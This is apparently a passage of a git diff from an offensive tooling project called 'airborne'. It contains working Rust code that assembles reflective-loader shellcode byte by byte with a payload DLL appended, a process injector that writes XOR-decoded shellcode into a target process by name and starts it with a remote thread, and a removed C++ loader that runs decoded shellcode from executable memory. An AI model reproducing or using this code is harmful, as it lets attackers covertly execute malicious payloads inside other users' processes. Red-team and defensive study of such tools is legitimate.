let payload_offset = (BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32; // mut be u32 or it breaks assembly
bootstrap.append(&mut payload_offset.to_le_bytes().to_vec().clone());
/*
5.) call the reflective loader
*/
// call <loader_offset> - call the reflective loader address after calculation
bootstrap.push(0xe8);
let loader_address =
(BOOTSTRAP_TOTAL_LENGTH - bootstrap.len() as u32 - 4) + loader_offset as u32; // must be u32 or it breaks assembly
bootstrap.append(&mut loader_address.to_le_bytes().to_vec().clone());
// padding
bootstrap.push(0x90);
bootstrap.push(0x90);
/*
6.) restore the stack and return to the original location (caller)
*/
// mov rsp, rsi - reset original stack pointer
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0xf4);
// pop rsi - put things back where they were left
bootstrap.push(0x5e);
// ret - return to caller and resume execution flow (avoids crashing process)
bootstrap.push(0xc3);
// padding
bootstrap.push(0x90);
bootstrap.push(0x90);
if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize {
panic!("Bootstrap length is not correct, please modify the BOOTSTRAP_TOTAL_LEN constant in the source");
} else {
println!("[+] bootstrap size: {}", bootstrap.len());
}
println!("[+] reflective loader size: {}", loader_b.len());
println!("[+] payload size: {}", payload_b.len());
let mut shellcode = Vec::new();
shellcode.append(&mut bootstrap);
shellcode.append(loader_b);
shellcode.append(payload_b);
shellcode.append(&mut parameter.as_bytes().to_vec());
/*
the final PIC shellcode will have the following memory layout:
- bootstrap
- sRDI shellcode
- payload DLL bytes
- user data
*/
println!("\n[+] total shellcode size: {}", shellcode.len());
println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)");
println!(
"[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]"
);
println!(
"[+] rcx: {:#x} rdx: {:#x} r8: {}, r9: {:#x}, arg5: shellcode.bin address, arg6: {}",
payload_offset,
function_hash,
parameter,
parameter.len(),
flag
);
shellcode
}
fn gen_xor_key(keysize: usize) -> Vec<u8> {
let mut key = Vec::new();
for _ in 0..keysize {
key.push(rand::random::<u8>());
}
key
}
fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Option<*mut u8> {
for (e_name, addr) in unsafe { get_exports(base_ptr) } {
if e_name == name {
return Some(addr as _);
}
}
None
}
unsafe fn get_exports(base_ptr: *mut u8) -> BTreeMap<String, usize> {
let mut exports = BTreeMap::new();
let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER;
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
panic!("Failed to get DOS header");
}
let nt_header_ptr = rva_mut::<IMAGE_NT_HEADERS64>(base_ptr, (*dos_header_ptr).e_lfanew as _);
let export_dir_ptr = rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
.VirtualAddress,
) as *mut IMAGE_EXPORT_DIRECTORY;
let export_names = from_raw_parts(
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*export_dir_ptr).AddressOfNames,
) as *const u32,
(*export_dir_ptr).NumberOfNames as _,
);
let export_functions = from_raw_parts(
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*export_dir_ptr).AddressOfFunctions,
) as *const u32,
(*export_dir_ptr).NumberOfFunctions as _,
);
let export_ordinals = from_raw_parts(
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*export_dir_ptr).AddressOfNameOrdinals,
) as *const u16,
(*export_dir_ptr).NumberOfNames as _,
);
for i in 0..(*export_dir_ptr).NumberOfNames as usize {
let export_name =
rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i]) as *const i8;
if let Ok(export_name) = CStr::from_ptr(export_name).to_str() {
let export_ordinal = export_ordinals[i] as usize;
exports.insert(
export_name.to_string(),
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
export_functions[export_ordinal],
),
);
}
}
exports
}
fn rva_mut<T>(base_ptr: *mut u8, rva: usize) -> *mut T {
(base_ptr as usize + rva) as *mut T
}
unsafe fn rva_to_offset(base: usize, nt_header_ref: &IMAGE_NT_HEADERS64, mut rva: u32) -> usize {
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
&nt_header_ref.OptionalHeader as *const _ as _,
nt_header_ref.FileHeader.SizeOfOptionalHeader as _,
);
let section_count = nt_header_ref.FileHeader.NumberOfSections;
for i in 0..section_count as usize {
let virtual_addr = (*section_header_ptr.add(i)).VirtualAddress;
let virtual_size = (*section_header_ptr.add(i)).Misc.VirtualSize;
// check if the rva is within the current section
if virtual_addr <= rva && virtual_addr + virtual_size > rva {
// adjust the rva to be relative to the start of the section in the file
rva -= (*section_header_ptr.add(i)).VirtualAddress;
rva += (*section_header_ptr.add(i)).PointerToRawData;
return base + rva as usize;
}
}
0
}

16
injector/Cargo.toml Normal file
View File

@ -0,0 +1,16 @@
[package]
name = "airborne-injector"
version = "0.1.0"
edition = "2021"
[dependencies]
lexopt = "0.3.0"
airborne-utils = { path = "../utils" }
[dependencies.windows-sys]
version = "0.52.0"
features = [
"Win32_Foundation",
"Win32_System_Memory",
"Win32_System_Diagnostics_ToolHelp",
]

View File

@ -1,56 +0,0 @@
#include <windows.h>
#include <iostream>
#include "../shared/crypto.hpp"
#include "../shared/futils.hpp"
#define VERBOSE 1
int main(int argc, char **argv) {
if (argc != 3) {
std::cout << "\nUsage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>\n"
<< std::endl;
return 1;
}
#ifdef VERBOSE
std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
#endif
auto shellcodeContents = ReadFromFile(argv[1]);
#ifdef VERBOSE
std::cout << "[+] Reading XOR key from " << argv[2] << std::endl;
#endif
auto key = ReadFromFile(argv[2]);
#ifdef VERBOSE
std::cout << "[+] XOR'ing shellcode" << std::endl;
#endif
XorCipher(&shellcodeContents, key);
auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!baseAddress) {
std::cout << "[!] Failed to allocate memory" << std::endl;
return 1;
}
#ifdef VERBOSE
std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl;
#endif
std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress));
#ifdef VERBOSE
std::cout << "[+] Copied shellcode to " << baseAddress << std::endl;
std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl;
#endif
__asm__("jmp *%0" ::"r"(baseAddress));
return 0;
}

62
injector/src/inject.rs Normal file
View File

@ -0,0 +1,62 @@
use std::{mem::transmute, ptr::null_mut};
use windows_sys::Win32::{
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
System::{
Diagnostics::Debug::WriteProcessMemory,
Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE},
Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS},
},
};
pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
let dll_len = dll_vec.len();
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if h_process == INVALID_HANDLE_VALUE {
panic!("failed to open process");
}
let base_addr_ptr = VirtualAllocEx(
h_process,
null_mut(),
dll_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
);
if base_addr_ptr.is_null() {
panic!("failed to allocate memory");
}
println!("[+] allocated memory at {:p}", base_addr_ptr);
if WriteProcessMemory(
h_process,
base_addr_ptr,
dll_vec.as_ptr() as _,
dll_len,
null_mut(),
) == 0
{
panic!("failed to write process memory");
}
let h_thread = CreateRemoteThread(
h_process,
null_mut(),
0,
Some(transmute(base_addr_ptr as usize)),
null_mut(),
0,
null_mut(),
);
if h_thread == INVALID_HANDLE_VALUE {
panic!("failed to create remote thread");
}
CloseHandle(h_thread);
CloseHandle(h_process);
}

89
injector/src/main.rs Normal file
View File

@ -0,0 +1,89 @@
mod inject;
mod process;
use std::{fs, path::PathBuf, process::exit};
use lexopt::Arg::{Long, Short};
#[derive(Debug)]
struct Args {
procname: String,
shellcode_path: PathBuf,
keyfile_path: PathBuf,
offset: usize,
}
fn main() {
let args = parse_args();
let proc_id =
unsafe { process::iterate_procs(&args.procname).expect("failed to find matching PID") };
let mut shellcode = fs::read(&args.shellcode_path).expect("failed to read shellcode");
if args.offset >= shellcode.len() {
println!("[!] offset is greater or equal than shellcode length");
exit(1);
}
let keyfile = fs::read(&args.keyfile_path).expect("failed to read keyfile");
println!("[+] xor'ing shellcode");
airborne_utils::xor_cipher(&mut shellcode, &keyfile);
println!("[+] injecting shellcode into {}", args.procname);
unsafe { inject::inject(proc_id, shellcode) };
println!("[+] done");
}
fn parse_args() -> Args {
let mut args = Args {
procname: String::new(),
shellcode_path: PathBuf::new(),
keyfile_path: PathBuf::new(),
offset: 0,
};
let mut parser = lexopt::Parser::from_env();
while let Some(arg) = parser.next().expect("failed to parse arguments") {
match arg {
Short('p') => {
args.procname = parser
.value()
.expect("failed to parse process name")
.into_string()
.expect("failed to convert process name into String");
}
Short('s') => {
args.shellcode_path = parser
.value()
.expect("failed to parse shellcode path")
.into();
}
Short('k') => {
args.keyfile_path = parser.value().expect("failed to parse keyfile path").into();
}
Short('h') | Long("help") => {
print_usage();
exit(0);
}
_ => {
println!("[!] invalid argument: {:?}", arg);
print_usage();
exit(1);
}
}
}
if args.procname.is_empty() || !args.shellcode_path.exists() || !args.keyfile_path.exists() {
println!("[!] missing or invalid argument(s)");
print_usage();
exit(1);
}
args
}
fn print_usage() {
println!("Usage: injector.exe -p <process_name> -s <shellcode_path> -k <keyfile_path>");
}